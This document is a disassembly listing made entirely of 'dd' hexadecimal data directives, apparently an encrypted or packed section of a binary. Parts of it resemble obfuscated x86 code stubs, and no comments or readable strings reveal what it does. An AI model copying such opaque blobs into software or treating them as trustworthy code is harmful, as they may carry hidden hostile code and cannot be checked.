dd 0A1C6E906h, 0DB8BFFFAh, 0EF952498h, 0D07504B8h, 0EF942397h
dd 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h, 0D488C97Ch, 0F266A145h
dd 0D387BC63h, 9D25E4D8h, 796BD9A2h, 7932B07Ch, 92395044h
dd 7584E15Dh, 0B4959466h, 5267FC11h, 969929E0h, 0A17D9423h
dd 0DC5FD1C5h, 1E02EE23h, 96E46249h, 6C079423h, 3FBD10D5h
dd 359D397Bh, 0EF000000h, 4C1EBD5Ch, 0FC7C745Dh, 0E9A09267h
dd 943C7C59h, 2C06BBDh, 0E2943C7Ch, 9A866A86h, 3C7C73CBh
dd 42E19294h, 7B3666A7h, 0F34639h, 81380000h, 0EFB592CDh
dd 2A447932h, 0A0BDFEAFh, 6B45E7DEh, 0A7627CB7h, 6DCC7C1Bh
dd 4F431FFBh, 0A65A8F38h, 2943782Fh, 83EE5457h, 25E49233h
dd 9233839Dh, 8E05FD79h, 6EF29ED7h, 0AC17552h, 9233FF6Dh
dd 0B874A962h, 0D6B253E6h, 27DBF72Eh, 0FEA52E4Bh, 0E2C9B7C9h
dd 92338660h, 0D3D3A884h, 1B0ED7DEh, 923386A7h, 0EDFFE33Fh
dd 3F0253Eh, 0E965C198h, 20C37D9Ch, 0B66A9F48h, 6B1F96BAh
dd 243A1430h, 0F4B3F495h, 503B1051h, 9E1558E3h, 841DCC01h
dd 0B0CFB83Ah, 718BE79Bh, 530746EAh, 7CE120C4h, 40357E7Bh
dd 145A4B5Bh, 4A00000Bh, 72E965A8h, 50C783BAh, 6DEC6099h
dd 3AC17DBAh, 0E5E35796h, 7AB96B99h, 559637BEh, 71AC62D9h
dd 50853EBDh, 1C0FF1DCh, 6BD9A3A6h, 0D7DB613Eh, 7C4002A9h
dd 0C8A46DCCh, 4C215E11h, 2A9EDD8Fh, 0BBFF4ABh, 2A9D77Dh
dd 6DCC7C40h, 5F11C8A4h, 0DBF07420h, 5E706B8Ah, 0FC7C86ABh
dd 0F0A48067h, 23831DA9h, 3E7F3294h, 558E3352h, 1EB50EA1h
dd 13B2C1B2h, 427F24B7h, 2F5D24Eh, 397B36AFh, 0A88Fh, 7932FD00h
dd 97395044h, 90FDAC58h, 0A76DCC00h, 880FCB00h, 9BD0AADFh
dd 6E318522h, 21DDFAECh, 0C49645D4h, 314DCC5h, 0AA1EFA98h
dd 431DBE55h, 15BEFA48h, 2C3E1A9Eh, 0A5E68752h, 0DB5875F1h
dd 4910EA29h, 27C861A5h, 0DD87878Bh, 4F8E42F9h, 34AABFA3h
dd 832903A5h, 28C3284Ch, 0E44034EFh, 0A29A730h, 0AF5F0000h
dd 0C369F06Ch, 0A449D08Ch, 0C368EF6Bh, 0A143D286h, 8400E662h
dd 0B773B256h, 904C8D40h, 0AE2A6509h, 8F4B8027h, 59E9A09Ch
dd 0BD6BD99Ch, 7E3254E0h, 2AB18B3Fh, 0BEFDAF83h, 5572EEA2h
dd 3CF025DEh, 4E7932AEh, 0CC7CE75Bh, 3F23FF6Dh, 568B3453h
dd 65767DE2h, 1E3FA08Bh, 6BC767FCh, 637F5C91h, 7318EDDCh
dd 4401A856h, 0A994233Dh, 337E7B1Ah, 13397BE9h, 6A8h, 1EBD5C79h
dd 5D4C324Ch, 6DCC7CE5h, 2A62501h, 64FDA6C3h, 8267FC1Fh
dd 391D560Bh, 0A1A01E4Dh, 30439423h, 4C795491h, 7959397Bh
dd 0B3000006h, 4C1EBD5Ch, 0FC20CC5Dh, 927EDA67h, 23A17BC3h
dd 4AE99A94h, 7B4D5EAFh, 65A3E39h, 158C0000h, 3BA037BAh
dd 20F96A21h, 0E5FB67FCh, 23A09C26h, 0DFFC7894h, 0D3843F1Bh
dd 6016FA52h, 0CD75344Ah, 290016CEh, 46CD304Dh, 9FD0BB95h
dd 50A26A2h, 0AB578E36h, 1D39782Ch, 0CDE3A40h, 0D27F8DDFh
dd 14E9887Fh, 2A169D12h, 0A07E3F85h, 1F413DD5h, 0EFD34F43h
dd 5AE62EDDh, 0C29E0036h, 0F995D6A8h, 0DAC26296h, 5F1348FFh
dd 0EBFADF03h, 0E1F86CEFh, 1BC48F6Ch, 0A44514E6h, 49D08663h
dd 0E3006DA2h, 0ABD252A9h, 8D5EAFBh, 5B0B0000h, 6F15A418h
dd 50F58438h, 6F14A317h, 4DFF7632h, 50AC9A0Eh, 7B2F6E22h
dd 540849FCh, 72E621C5h, 53073CE3h, 1DA56458h, 0F96BD99Eh
dd 96D730FCh, 751849B1h, 0D40C0734h, 0EB2CDD5Ch, 739E450Eh
dd 0CC430AB8h, 526EEA6Dh, 19C2519Eh, 92CF7447h, 4B376C13h
dd 3BEE12E7h, 67F665C3h, 0D33CB69Bh, 7EB6E623h, 0F73FE662h
dd 639426AEh, 0E01DD289h, 5F817B0Bh, 26AE16ACh, 269EE94h
dd 95DB557Eh, 9497698Dh, 94269B2Eh, 0C68D6AC6h, 0F74E81Dh
dd 0E3FDCF0Ch, 269B9A28h, 0C99E7A94h, 9B56F4B7h, 0B2AE9426h
dd 0EB20C7BEh, 99C3DC11h, 8191E390h, 9B33F26Ch, 0AC94267Eh
dd 7CC6C5F6h, 9894267Eh, 0A5A6B89Ch, 39A4D4BBh, 0A41A2F15h
dd 4D396E15h, 2619A01Eh, 6B0A9994h, 70EC21CAh, 190D42E9h
dd 2689F452h, 6AA54994h, 306B1FB6h, 0DD740744h, 17AE45EFh
dd 4E20550Eh, 9C97930h, 312D9426h, 0C499D47Ah, 13F89FAh
dd 32030000h, 39504479h, 0CD0EBF95h, 0D00DC2D9h, 40244024h
dd 0AD5FDA54h, 10B2596Eh, 2D6DCC7Ch, 60554176h, 0C1688259h
dd 67F65A45h, 4A933C21h, 577B76C0h, 0A78B77B4h, 48FAB1CBh
dd 0AC9426E0h, 0C02794B0h, 6C4A02C9h, 77D2FB8h, 13B30000h
dd 27DD5CD0h, 8BD3CF0h, 27DC5BCFh, 45E76EEAh, 28545206h
dd 63D716BAh, 3CF031D4h, 5ACE09BDh, 3BEF24DBh, 5BD6C50h
dd 0E16BD99Fh, 79323804h, 97395044h, 0BD458658h, 8FCE96C8h
dd 3A71178Eh, 6C22991Dh, 45FE7D31h, 6B1D9C10h, 0AF61782Ch
dd 5E058470h, 0A95E7D29h, 12B1B86Ch, 2B504D73h, 1A73294h
dd 342223C1h, 587CCAE8h, 3A14B883h, 0CBA75B92h, 0A56833A7h
dd 15336AF9h, 2485DD8h, 7A2EF19Fh, 7EB473Bh, 8C619850h
dd 19E4h, 0DBF1DA00h, 0F29C7C68h, 4021ABC0h, 0A8h, 0D3490B40h
dd 0D2E89216h, 79322FF5h, 0BD095044h, 9F6DCC0Ch, 3BE44DE4h
dd 1F0AF406h, 92338CA3h, 5E934C43h, 0E221C382h, 0A115322Eh
dd 4D39741Ah, 338CA11Eh, 92D37692h, 0A41E7DEh, 0DD652416h
dd 3992338Ch, 0D66D0E3Dh, 1DB483EAh, 77336E14h, 417C32F1h
dd 55903655h, 38D7ECA1h, 2C671B9Eh, 0A3DE844Fh, 9405A4C9h
dd 7968F552h, 0CCE73092h, 7C58D46Dh, 7B30D75Fh, 0E96DCC9Fh
dd 0FDD86204h, 9382FBDEh, 6DCC392Fh, 94876BC7h, 336AE538h
dd 0FFFE7E1Ah, 96D770FFh, 0F2A6E9ADh, 0EB372F3h, 2D49F8D5h
dd 0C3000003h, 5B4E7932h, 6DCC7CE7h, 533F23FFh, 0CC7CAA04h
dd 0F58C2B6Dh, 8A3E732Ch, 731F540Bh, 0CC7C8A24h, 0CF04BB6Dh
dd 9447CE23h, 5A37CFBAh, 53CF67F6h, 27795E6h, 0E8F1A54Ah
dd 5F7h, 7E3A7D2Dh, 9E1A51F7h, 85397217h, 981451F6h, 7C306F21h
dd 4C00728Eh, 27CA510Dh, 3FE372E6h, 1AD14804h, 7A8669E5h
dd 0D999338Fh, 4ED6D36Bh, 50447932h, 86589739h, 913612B3h
dd 0A0847054h, 0B22913CBh, 0B9D0C4F9h, 0E3F8DC13h, 0BE7AAF58h
dd 0A9609537h, 6DCC7C19h, 2B4521FDh, 64CAF342h, 55725BEEh
dd 3F7E32A9h, 0CE65F653h, 0D286C567h, 6B6CC607h, 276A633h
dd 5CE40000h, 3F661AC1h, 6EDF7BB5h, 65801F54h, 325A288Ch
dd 25F6Ch, 4D7DE00h, 0A6E18561h, 0CD50ADCAh, 49FCCC73h
dd 0F608EC08h, 9185BE63h, 33721695h, 0FB474216h, 1B6DCC7Ch
dd 8804533Fh, 476EDF7Bh, 80BD72E9h, 0BC39D86Bh, 325A28F1h
dd 0F736DA61h, 21E6EE2h, 5CDC0000h, 1E401AC1h, 0CC7CD76Bh
dd 16332F6Dh, 7CE74742h, 431F6DCCh, 7B8C084Fh, 0C77D6EDFh
dd 41E5E490h, 0F9881A06h, 0EE25DB5Ah, 51421E02h, 0B80A01DFh
dd 5C6CDD7Dh, 0B958EB00h, 5A28713Ch, 1DA5132h, 5CBB0000h
dd 49401AC1h, 6DCC7CE1h, 0E5D4925h, 6EDF7B82h, 0E591D273h
dd 1A063FE6h, 765AF988h, 9A5FF68Dh, 325A2957h, 1AF37h
dd 79329500h, 0FB185C3Bh, 3F11FC4Bh
dd 0CCF9F64Ch, 2E120E6Dh, 679C4342h, 9F709F3h, 0CCF9A022h
dd 41E8446Dh, 6DCCF981h, 91F40965h, 84875982h, 67FC94A7h
dd 964E0D5Fh, 130AB85Fh, 0D3EA943Ch, 0F4D0F42Fh, 70AB5FDAh
dd 42FCAB5Bh, 0A1943C13h, 9B767312h, 7B397ABAh, 46h, 0F996D7D1h
dd 6E6F62B5h, 601BFBF0h, 320E1452h, 0AA31C815h, 0EAF8D9D0h
dd 0A71E67FCh, 5BD7CB00h, 36371D6Eh, 0A2BEFF9Eh, 0F71FA7EEh
dd 0C5FE943Ch, 782DAC2Eh, 0A8E1883Fh, 9C6378FCh, 397AAB51h
dd 0EA31h, 79329B00h, 97395044h, 0CB38658h, 2D49883Ch
dd 1EE0FD79h, 0D7CB00A7h, 953707C0h, 0F0EF674Dh, 75518F13h
dd 0E0CBA581h, 6DCCBC62h, 0ECAA682h, 0EB57522Ch, 0B6DCCBCh
dd 24513A0Fh, 0C06DCCC0h, 0C057EB9Eh, 0B3AF6DCCh, 31661D96h
dd 4A91287Dh, 0D48B4E30h, 40245D04h, 932FDA54h, 736DCCC0h
dd 5FEDBF7h, 67FA0D3Fh, 62E0CBB5h, 8294227Bh, 42792FA6h
dd 8037525h, 94227BBAh, 0B0C1A725h, 2AE2F186h, 2638122Eh
dd 9CB1F293h, 1C2E6D1Fh, 0F9ADEA9Dh, 4D6607Dh, 0AB579035h
dd 463A772Ch, 6AF106EAh, 0A3E287C6h, 0EF4A0601h, 365AE37h
dd 0EB9B0000h, 0FFA534A8h, 0E08514C8h, 0FFA433A7h, 0DD8F06C2h
dd 0C03C2A9Eh, 2B9FDE92h, 4B8F9ACh, 2296D175h, 3B7EC93h
dd 0CD753408h, 296BD99Bh, 7E3200CCh, 530C8B3Fh, 321CAA1Eh
dd 39504479h, 0D00DC292h, 349138F4h, 356DCC7Ch, 98233D9Eh
dd 4DF6B5F4h, 6E1D4318h, 67FC2BE5h, 3894521h, 50447932h
dd 8C55EDDEh, 0A32AC7FEh, 0CC175AE8h, 825EBA6Dh, 35EE65h
dd 0FBE0F74Ch, 7A012AE1h, 58E367FCh, 9E6479B0h, 95D6A8C2h
dd 93238238h, 60E2C946h, 84943CCDh, 457A31A8h, 6F8D551h
dd 3CCDE75Fh, 0D66D0694h, 7A78BA13h, 479A39h, 0D7F00000h
dd 6F235E04h, 7087D6F3h, 916F916Bh, 0CC7C289Ah, 7B50CC6Dh
dd 0FC7CA390h, 1B076367h, 270E3F21h, 0CAF9305Bh, 5202C067h
dd 681B9423h, 3FB772Bh, 0ED595227h, 10942352h, 0D819DC73h
dd 0B8397C07h, 0DEh, 4E793212h, 0CC7CE75Bh, 5990386Dh
dd 0FDA9CDA9h, 14AE5D83h, 0F06DCC7Ch, 28DC5774h, 0E59E3DE9h
dd 1EC5C4B0h, 785C994Eh, 74516566h, 0EBD46E1Dh, 34306DCCh
dd 64606107h, 8B6084BDh, 0DA7B14D3h, 934C6DCCh, 0B46BEA5Eh
dd 971E937Fh, 0BA7F2A44h, 4C67FCDAh, 0F0075CD0h, 0DDC11EBh
dd 0D811B8EEh, 0C5779FF3h, 0E1D9D0A8h, 59E0A5Ch, 0E0845729h
dd 0FAAE2DA1h, 7AC90EBBh, 75214036h, 1EE64h, 3F822400h
dd 1D540C8Bh, 3A731AA1h, 1754F77Eh, 317014A3h, 1738F7Dh
dd 1D9C104Fh, 28AF2B6Ch, 4934782h, 0B7B2265Bh, 957CC6C5h
dd 1B986BD9h, 0D196D791h, 6D468AB5h, 0DE92491Eh, 0F3AC2B9Fh
dd 0B2BFACBEh, 6B49A90Ah, 9E803613h, 5138651Bh, 6DCCA2F1h
dd 493D1915h, 7BBA6EEDh, 0A9D7C65Eh, 0CC7C4002h, 35236F6Dh
dd 0D40C8838h, 0C8FFA51Ch, 5F7C58DCh, 0AE4F7FEh, 83C465F4h
dd 5294BD66h, 7267FCh, 3C51B909h, 0E5015D94h, 6A213F31h
dd 943C51D8h, 200BE03Ch, 943C51A6h, 0BD70EB45h, 25BC5F7Ch
dd 7B08EDC0h, 0BDCD39h, 323F0000h, 0DE504479h, 0B66AA95Bh
dd 72169DBAh, 7F183F33h, 506DCC00h, 63886297h, 0E5ACEFAFh
dd 3BC7B03h, 293E22CEh, 487D26B5h, 8B50675Ch, 2171BA71h
dd 0DF39803h, 2366A41Eh, 0F7E44094h, 9EEA1975h, 0F1B1C67Fh
dd 4D6CB975h, 1CCDBC8Eh, 889E1559h, 0BE01FD1h, 7A411B17h
dd 942397D6h, 0DD03A8F0h, 3F762758h, 11BCF64Ch, 2E120E9Eh
dd 956AA512h, 0CEC64035h, 0C6C5h, 74AFC00h, 0E51CC453h
dd 23BF269h, 0DF1CCF46h, 0F938EC6Bh, 0C93B4745h, 0E574E827h
dd 0D0470344h, 0EC6BDF1Ah, 5F4AFE33h, 9614AE5Dh, 0F3F06BD9h
dd 296D729h, 0C81159A5h, 3A52E4Bh, 0DA9108C4h, 32A329A5h
dd 0F3A43B79h, 47967AB3h, 0B9BD69A2h, 0CECDB99Dh, 176CE015h
dd 0A01DB00h, 67F6F5F0h, 7646FD94h, 92AE92D3h, 0B40E7DEh
dd 0EA1FC84Fh, 20836F36h, 6BCDFA5h, 0CC0D7CBh, 0FDA6D9CDh
dd 0F5E05166h, 7316ED73h, 4CE3BC4Fh, 55093EE5h, 16E81DC6h
dd 0B561A243h, 90EA9CB1h, 80EFD35Bh, 4419A74Bh, 0EB97D477h
dd 2FAB4AF9h, 0C8BCF5ACh, 1BC48F6Ch, 0D18872E6h, 500BE01Fh
dd 25AE6297h, 3, 326D5F97h, 52493D80h, 19B06499h, 4F463A75h
dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h
dd 0CF554178h, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch
dd 0C8682434h, 8900003Ah, 0DE682434h, 8900000Fh, 0A768242Ch
dd 8B0615DEh, 0C4832434h, 2C8B5404h, 4C48324h, 18B85051h
dd 0B91C025Ch, 1C025C20h, 158C129h, 593189E9h, 57242C8Bh
dd 0C781E789h, 4, 4C781h, 3C870000h, 348B5C24h, 0E2895224h
dd 4C281h, 0C2810000h, 4, 5C241487h, 0FA94CFE9h, 0D28B65FFh
dd 0EB21B89Ah, 0C5030615h, 123AE0FFh, 0E84F6948h, 18DE7F48h
dd 72612C14h, 0F945450Dh, 9B736512h, 57E52EA7h, 0F33B0A20h
dd 3A306567h, 50997DF1h, 0F99D6524h, 8D7D5CEFh, 0FD6D7B49h
dd 6707423Bh, 29C713B8h, 0FAD4461Eh, 0C8FD254Eh, 1051EFh
dd 167F6FA6h, 95C35D97h, 84265F82h, 0DE3510F3h, 44FC1BD3h
dd 0A50822A1h, 72235E4Ah, 0FD3F6156h, 51C72546h, 725C6957h
dd 71BC1E99h, 739E6557h, 0A5908E0h, 4EEA5C3Bh, 0C08B41D2h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0E0C35646h
dd 0F1E8A44Fh, 0B830F97h, 0F000000h, 588h, 0E2816600h
dd 0BD83EE72h, 610158Dh, 83097500h, 100095BDh, 19740006h
dd 0C08B5350h, 3FCB8h, 65858900h, 8D06100Eh, 12B8159Dh
dd 5BD3FF06h, 95BD8358h, 61000h, 53501774h, 3FCB8h, 65858900h
dd 8D06100Eh, 12B5049Dh, 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 23B06384h
dd 0EE927h, 0E8BE0000h, 54348E9Bh, 356584FEh, 0AC5E479h
dd 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 638954E5h, 60566FA7h, 14E8h, 0C96D7700h
dd 147D7AE2h, 5B882BAEh, 2CD34301h, 0E366E0DEh, 13E988h
dd 0EA3A0000h, 6063B42Ah, 0F0DF04A2h, 0C21EB576h, 34EA8415h
dd 52B75A90h, 8B74B661h, 6AC08BD3h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E0E1C356h
dd 27530B03h, 12E9h, 61E59100h, 83008782h, 0D8EA00D8h
dd 0A96C6C81h, 838773FFh, 102209BDh, 840F0106h, 43h, 0BD831EB7h
dd 6102D11h, 34850F00h, 0F000000h, 389h, 42EE8000h, 5840Fh
dd 0C1BB0000h, 834A76C1h, 103105BDh, 840F0006h, 68h, 0EE9h
dd 7967B500h, 34EE6E46h, 0A2986D74h, 0E9D1A80Ch, 382h
dd 0A4B6h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 363072C3h, 1D3064Dh, 6A5E8Bh, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 34406AC3h, 0BB791936h, 468EAE68h, 0DEDC0172h, 0BD76B2EAh
dd 23DB527Ah, 0E07048F9h, 9466EEAEh, 5A8FB4FBh, 3367E6FFh
dd 108FB4FFh, 0B9D577A5h, 0B18B90ABh, 268B90BBh, 728FB4FFh
dd 0FB5377ADh, 0EF30BB6Fh
dd 0D8DA4175h, 308FB4FFh, 696235A2h, 3F89A111h, 30E56C40h
dd 308C5CA9h, 6EAFB4FFh, 4406EA3Ch, 740EB0DBh, 3098B0DBh
dd 66C9B4FFh, 0AFDA903Ch, 30875D5Dh, 77E7B4FFh, 0F357F89Eh
dd 0F00412F6h, 0D8DEB495h, 308FB4FCh, 694CEDDFh, 34ABF876h
dd 34ABF07Eh, 308FB4E2h, 0C4CE5BEh, 0E97E8625h, 0DA55307Ah
dd 0D9DF24B5h, 308FB4F8h, 34B2D9FCh, 0A067905Fh, 0D8DCB495h
dd 308FB4FCh, 6B4CEFDFh, 34ABE876h, 34ABF07Eh, 308FB4E2h
dd 144CE7BCh, 123D1B04h, 0C9E004A0h, 7C8EBBD0h, 22674ADBh
dd 0C08FB4FFh, 0B829CA3Bh, 1B4505B3h, 52D76A6Bh, 0D1C6A95Bh
dd 309F5C77h, 6401B4FFh, 0E6D13CA7h, 0A7C54761h, 78B0E4Dh
dd 6AD9DF1Ch, 5AD7EFA5h, 3367E1FFh, 108FB4FFh, 0B9D277A2h
dd 0B18B9093h, 2B8B90BBh, 758FB4FFh, 0F11977AAh, 9C11EDD5h
dd 0E104EC35h, 308DB8FAh, 0B380E2FFh, 308FB4F9h, 0F37B5E7Eh
dd 56D4EBF0h, 0BB8DBC45h, 618FDEF7h, 308FB717h, 0F3D694FFh
dd 14C33DA6h, 14CB35FBh, 308FAEFBh, 0F3DEF5FFh, 3930D3B4h
dd 0CC927AA5h, 0CCC73F99h, 308FB216h, 0A4E64EFFh, 88BADECBh
dd 308FB4FEh, 0D8DDB495h, 308FB4FCh, 6A4CEEDFh, 34ABE076h
dd 34ABF07Eh, 308FB4E6h, 464CE6BDh, 71DFFA9Bh, 3D6625ECh
dd 9C8FB4FFh, 0A365E923h, 277EDCF2h, 7CD0BA2Dh, 0BBE9D4AFh
dd 30825D08h, 0E030B4FFh, 97E50A24h, 0EAA4C433h, 518EFA88h
dd 0F435D26Eh, 0E903D251h, 0D8DDB495h, 308FB4FCh, 6A4CEEDFh
dd 34ABE076h, 34ABF07Eh, 308FB4E2h, 0B14CE6BDh, 3C9D9792h
dd 79E24347h, 344E42EEh, 306631F0h, 30E5B4FFh, 308C5CACh
dd 6BAFB4FFh, 6C06EF3Ch, 740EB0DBh, 309AB0DBh, 63CCB4FFh
dd 3FDA2F3Ch, 5AD66240h, 3367E4FFh, 108FB4FFh, 0B9D777A7h
dd 0B18B90BBh, 258B90BBh, 708FB4FFh, 0BB2877AFh, 0E0761F45h
dd 734934EAh, 3FE78D7Fh, 308F6A7Ah, 0BB3006FFh, 30E5B586h
dd 308C5CAFh, 68AFB4FFh, 7406EC3Ch, 740EB0DBh, 3092B0DBh
dd 60CFB4FFh, 0FA8C253Ch, 0C06251AAh, 5650102Bh, 797B767Eh
dd 308FA416h, 69998FFh, 10D813A4h, 87FF550h, 0A852E756h
dd 307035CDh, 3F0FB4FFh, 308F3A7Dh, 3500BBFFh, 568FB4FFh
dd 47AF677Eh, 0DD443138h, 308EB2EAh, 8780B4FFh, 30F75D28h
dd 8F80B4FFh, 30E65D20h, 30E5B4FFh, 308C5CACh, 6BAFB4FFh
dd 6C06EF3Ch, 740EB0DBh, 3092B0DBh, 63CCB4FFh, 0B559933Ch
dd 794959F4h, 69FDC65Bh, 0D8DFB495h, 308FB4FCh, 684CECDFh
dd 34ABF076h, 34ABF07Eh, 308FB4E4h, 44CE4BFh, 13B06BE6h
dd 0C96CB9DBh, 3BF63799h, 240BBB00h, 868FB4FFh, 0FB0A736Fh
dd 3189A112h, 568FB4FFh, 3346374h, 78C894FAh, 338E7F7Eh
dd 8736E4A2h, 0BDF4E8FFh, 257C977Ah, 573239F9h, 0B89A10Eh
dd 88C007h, 774665F0h, 30E54114h, 308C5CADh, 6AAFB4FFh
dd 6406EE3Ch, 740EB0DBh, 3092B0DBh, 62CDB4FFh, 0A1F0DA3Ch
dd 0F08F7A38h, 5649E7C3h, 534E7E7Eh, 308FB317h, 8C3161FFh
dd 0BE43F19Fh, 3004BBAEh, 6A8FB4FFh, 307C35A4h, 0B39EBC75h
dd 20ADBD42h, 0B480B5F9h, 308FB496h, 0D8DDB495h, 308FB4FCh
dd 6A4CEEDFh, 34ABE076h, 34ABF07Eh, 308FB4EBh, 0E14CE6BDh
dd 0B3513F99h, 20A2A542h, 0B580B4F9h, 308FB4C2h, 0D8DFB495h
dd 308FB4FCh, 684CECDFh, 34ABF076h, 34ABF07Eh, 308FB4E5h
dd 824CE4BFh, 4F86FEDAh, 0C5EF583Dh, 51783F99h, 75643599h
dd 35323764h, 3089A4CEh, 308430F0h, 8780B4FFh, 30225D2Eh
dd 0C30FB4FFh, 393237EDh, 3189A4DDh, 30EE31F0h, 30E5B4FFh
dd 308C5CA8h, 6FAFB4FFh, 4C06EB3Ch, 740EB0DBh, 3092B0DBh
dd 67C8B4FFh, 0EF67A63Ch, 44643CBh, 0B00385F6h, 63D2312Dh
dd 0E96C3599h, 0D94CEFB4h, 308FB4F1h, 0A5424817h, 8AF26CC9h
dd 54906ABAh, 6466E79Eh, 0D88FB4FFh, 308FB4FAh, 44EB30B0h
dd 30875D22h, 965B4FFh, 8B81735h, 6DD4B279h, 0D8DDB495h
dd 308FB4FCh, 6A4CEEDFh, 34ABE076h, 34ABF07Eh, 308FB4EBh
dd 644CE6BDh, 308FB116h, 788A98FFh, 0D940ECB2h, 308FB4F0h
dd 99361C3Bh, 609D4B7Dh, 0E27A4E1Ah, 0BD45EA2Bh, 2561AD42h
dd 0C00239F9h, 8889A10Dh, 4BB5E8E2h, 11B231CCh, 0FFA4B2EFh
dd 0E8FF8736h, 977ABDF4h, 39F9257Ch, 0A10E5732h, 0C0070B89h
dd 65F00088h, 83147746h, 0A4F305E9h, 0EDCBBD83h, 74000615h
dd 858D8D0Dh, 0B806104Eh, 1, 6A40E1FFh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0B74EC355h
dd 639771CAh, 7E9D68Bh, 9D000000h, 0D6715B58h, 0E88312DFh
dd 5DB812Dh, 664D1AC7h, 8B383EBAh, 837AB2C0h, 10158DBDh
dd 9750006h, 95BD83h, 74000610h, 8B535019h, 3FCB8C0h, 85890000h
dd 610132Dh, 0B87C9D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h
dd 50177400h, 3FCB853h, 85890000h, 610132Dh, 0B51D9D8Dh
dd 0D3FF0612h, 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0A6C04AC3h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 12C35646h, 54FB5BAAh, 0DB816637h
dd 7E965CCh, 0B2000000h, 62D159C7h, 0C08B8FA3h, 31E9h
dd 0ADF0D000h, 74h, 0Ah dup(0)
dd 0EDE90000h, 6800000Bh, 615F5EAh, 0FB56A7E9h, 0F6C568FFh
dd 9DE90615h, 68FFFB56h, 615F8BBh, 0FB5693E9h, 0F9A468FFh
dd 89E90615h, 68FFFB56h, 615FC51h, 0FB567FE9h, 0FDCB68FFh
dd 75E90615h, 68FFFB56h, 615FEC1h, 0FB566BE9h, 0D385DAFFh
dd 5F192F7Eh, 0D88AC332h, 70223A8Bh, 0C680D223h, 58DBAB99h
dd 0AA1B4802h, 55A8FDB7h, 0B3024F01h, 3BB9E6A0h, 393C5BA8h
dd 0BF191DDEh, 0B3AB5ACBh, 8BD48201h, 506F293Ah, 6377D201h
dd 53A8FDA9h, 453857A4h, 711D17C8h, 0E99DC130h, 5A536D1Ah
dd 68141DD8h, 786B1A69h, 2EC1D01Bh, 0E89411B8h, 486915BCh
dd 0B82EACBFh, 0F1AC2311h, 3346B142h, 2211B82Fh, 97497D72h
dd 0C946CCD6h, 4637BE93h, 8B000000h, 5BB6AB5Ah, 7A194D07h
dd 200EA3CCh, 81A655Ch, 0FE1DD846h, 1BA25C6Fh, 56462E6Fh
dd 0EC81A67h, 3880C36Fh, 6377DEDh, 8AD5FE9Fh, 11B905E3h
dd 0E6BC75ECh, 0BE92F680h, 0E471h, 6E631200h, 40610DB4h
dd 0AC075C6Ah, 99B300B2h, 0C514BBE7h, 65B4DB95h, 0C815BC76h
dd 0C81D3893h, 0C8451C3Bh, 194D3917h, 8F29BD7Ah, 2C5AA76h
dd 5E4D024Eh, 5C05B70Fh, 0C88AAD6Bh, 8DE8FB17h, 0AEFB823Ch
dd 31DDE496h, 91643165h, 0CA398842h, 0C8811A3Dh, 0C43C3B17h
dd 222021C5h, 0C4CF90C4h, 3A89FD61h, 0DE65CEC9h, 537E1E2h
dd 3E2D6B5Ch, 0C791DD9h, 0C8761DD7h, 0B4E18DA7h, 867D012Dh
dd 832CDEF7h, 0D975F380h, 120217CBh, 43FD4E9Bh, 65CA91Ah
dd 0B4A6174Ch, 0FDDEFCFAh, 0A72AE211h, 99E11h, 0AB5D7200h
dd 17D107F6h, 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh, 50D3A391h
dd 0A21340FAh, 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 39E47300h
dd 0D7711DDEh, 4C065C23h, 0FBB5A617h, 0B3A855A6h, 832CDAF9h
dd 621A4827h, 45E2E08Bh, 0E9951DD8h, 44F69DEAh, 0EEE811B8h
dd 0C48953Ch, 45B6335Ah, 0A7169AACh, 0B7AE340Eh, 0D09FBE93h
dd 3C000000h, 0B74499ADh, 11B85098h, 0C285D1BDh, 0AF2EA3A9h
dd 442647BBh, 464D075Ch, 0AA29E3F7h, 0C84A1B5Dh, 843E8D17h
dd 33EDDECFh, 8105298Ch, 4E13C532h, 77041DD8h, 0BCEEA963h
dd 0CC2C96Ah, 5051FE52h, 0D8239AE2h, 17CAC9B9h, 7201F09Ch
dd 0A5607205h, 0E390E30Bh, 0BA56054h, 20411501h, 4A0456A3h
dd 0F8B2A815h, 13070A02h, 9D3336E2h, 8C3h, 0C18E4097h
dd 6D22DCF4h, 0BE934580h, 6E23D5EFh, 0C4914B7Fh, 0CDFD8070h
dd 5A6F3E13h, 0CC02F3A0h, 6378451Ah, 69F8FCA9h, 0DE3B7B1Eh
dd 8C7CDA1Dh, 0EEB7AB5Ah, 5A0CA9F3h, 5F5E3250h, 0C71BEAB3h
dd 7665580Dh, 0C8CB6E19h, 9A8A17C8h, 0F31CF7C6h, 0E7698C9Fh
dd 0F8F59FB6h, 0D88C9E28h, 5C84CE97h, 0F7464D07h, 0B8D32AE4h
dd 268B5F3Ah, 1B839F46h, 3D576023h, 1C480256h, 54A11253h
dd 9B4746F8h, 0B73DFD2h, 476147B4h, 0B6661DD9h, 0DF99CA17h
dd 2EFCF310h, 15E9E159h, 373E519Eh, 671711B9h, 3D8E5F46h
dd 9938EAE2h, 0CD1AB9EDh, 0A53D59D0h, 6D28C132h, 9E4DA45Eh
dd 35133E51h, 0FCAEA87Eh, 5B4B29D5h, 0F7B87266h, 96B03DAEh
dd 12A3B641h, 0C2B27E35h, 0ABA2EF8Eh, 104ADF9h, 2E7918D2h
dd 7E351308h, 0C5CC7ED8h, 27A66078h, 99AD4897h, 0B43B211h
dd 9EE93A59h, 7E3512FBh, 0B5F6AA5Ah, 91C2732Eh, 0CC398AD7h
dd 24DFDE90h, 73967709h, 7A471B11h, 6412B163h, 0DF99CA3Bh
